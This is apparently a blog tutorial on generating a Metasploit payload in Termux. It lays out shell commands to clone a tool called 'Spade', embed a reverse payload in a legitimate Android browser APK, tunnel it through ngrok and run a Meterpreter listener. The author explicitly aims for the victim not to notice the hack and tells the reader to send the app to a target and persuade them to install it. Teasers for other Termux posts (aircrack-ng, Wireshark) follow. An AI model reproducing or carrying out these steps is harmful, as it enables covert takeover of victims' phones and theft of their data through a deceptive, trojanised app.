Skip to main content

Generate Metasploit Hacking Payload Using Termux

Metasploit Termux

In This Tutorial, We're Going To Embed Our Payload Inside the Original App With The Help Termux, So That The Victim Won't Notice Anything Suspicious And He'll Never Get To Know That He Has Been Hacked.

So Let's Get Started

Requirements:

  • Install Termux
  • Install Metasploit In Termux
  • Install Ngrok In Termux

Commands For Creating Embedded Payload:

  • pkg update
  • pkg install git wget curl
  • git clone https://github.com/shadowwalker005/Spade
  • cd Spade && chmod 775 *
  • bash install.sh

Now It Will Take Some Time To Install Its Required Tools, So After This, We Need An Original App Inside Which We Will Embed Our Payload. For This Tutorial, I'll Use "Via Browser" (Recommended) 

Download Via Browser And Rename It To browser.apk And Move It From Download Folder To Main Storage

Download Via Browser: Via Browser

Now Run Below Commands:

  • cd && cd /sdcard
  • cp -r browser.apk ~
  • cd && cd Spade
  • bash Spade ~/browser.apk
  • Select 3

Open Another Terminal And Start Ngrok But Before Starting Ngrok Make Sure To Turn On Hotspot Then It'll Work Otherwise Ngrok Won't Work

  • ngrok tcp 8989
  • Copy And Paste In Spade (0.tcp.ngrok.io)
  • Copy Lport And Paste In Spade (71810)

NOTE: YOURS WILL BE DIFFERENT; DON'T COPY MINE :)

Now It Will Take Some Time Upto 3 Minutes To Process And Embed The Payload

After This, It Will Ask Start Listener, So Type y And Hit Enter.

Now Msfconsole Will Start, But We Need To Change Lhost And Lport

Run Below Commands:

  • set LHOST localhost
  • set LPORT 8989
  • exploit

Now Open Another Terminal And Copy Your Embedded Payload From Termux To Phone Storage And Send To Your Target And Tell Him To Install It

  • cd && cd Spade
  • cd Gray
  • cp -r Payload_Name /sdcard

Now After Victim Will Install Your Payload So You'll Get A Meterpreter Session ✔

That's All

NOTE:

  • In Case Of Any Errors Or Issues, Please Feel Free To Contact Me Anytime, I Will Help You :)

Written by Ethan Abraham

For more visit - Official Website

Cybersecurity Blog - Official Blog

Comments

Popular posts from this blog

How To Install Aircrack-Ng On Termux [No Root]

Hey Guys! Today I'm going to show you how to install and use aircrack-ng on your android phone using termux. In the following [No Root] method, Only You can crack passwords from your captured cap file[Not Wifi Hacking]. aircrack-ng is an open-source, free networking software suite, and It consists of a sniffer, the detector, WPA/WPA2-PSK, and WEP cracker and analyzer tool for standard 801.11 wireless LAN's. This tool comes pre-installed in the Kali Linux operating system. We can install it in different operating systems such as windows, mac, Android using GNU root Debian and Termux, etc. aircrack-ng developed by the team at the  Darmstadt University of Technology   in April 2007 in Germany. Requirements install Termux From Playstore Install aircrack-ng in Termux : After the installation, update the packages and use. apt install root-repo command. Now install the aircrack-ng using. apt install aircrack-ng command. after the installation of aircrack-ng in Termux, ru...

How to Install wireshark on android using termux

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Wireshark is the world's foremost and widely used networking protocol analyzer. Wireshark, formerly known as ethereal, can be used to see what's happening on your network at a microscopic level. Wire sharks will typically display information in three panels. Wireshark used standards across many commercial and non-profit enterprises, educational institutions, government agencies, ethical hackers, and black hat hackers to capture sensitive information such as user id, passwords, cookies, admin panel, etc. This tool comes pre-installed in Kali Linux operating system. And also, we can download it for windows and can use it. Installing Wireshark in Termux : We can install and use the Wireshark networking tool in our android device using termux terminal emulator. So follow these steps to install Wireshark in term...

How to Install all Programming Languages on Termux Android

Install Almost Any Programming Languages In Termux Android - In this article, I will show you how to put in programming/scripting languages in mechanical man via Termux application. First, you've got to put in Termux App from the Google Play store when the installation opens up the Termux app. Now update and upgrade the termux terminal by writing this command apt update && apt upgrade. Install artificial language in Termux by merely writing command that area unit out there in below. Install c language in Termux:- apt install clang Install Go artificial language:- apt install golang Install Java language in Termux while not root:- click here Install PHP language:- apt install PHP Install ruby language:- apt install ruby Install Python language: - apt install python Install Python a pair of languages: - apt install python2 install rust language:- apt install rust Install an unpleasant person GitHub tool:- apt install unpleasant person Install bash language:- apt install b...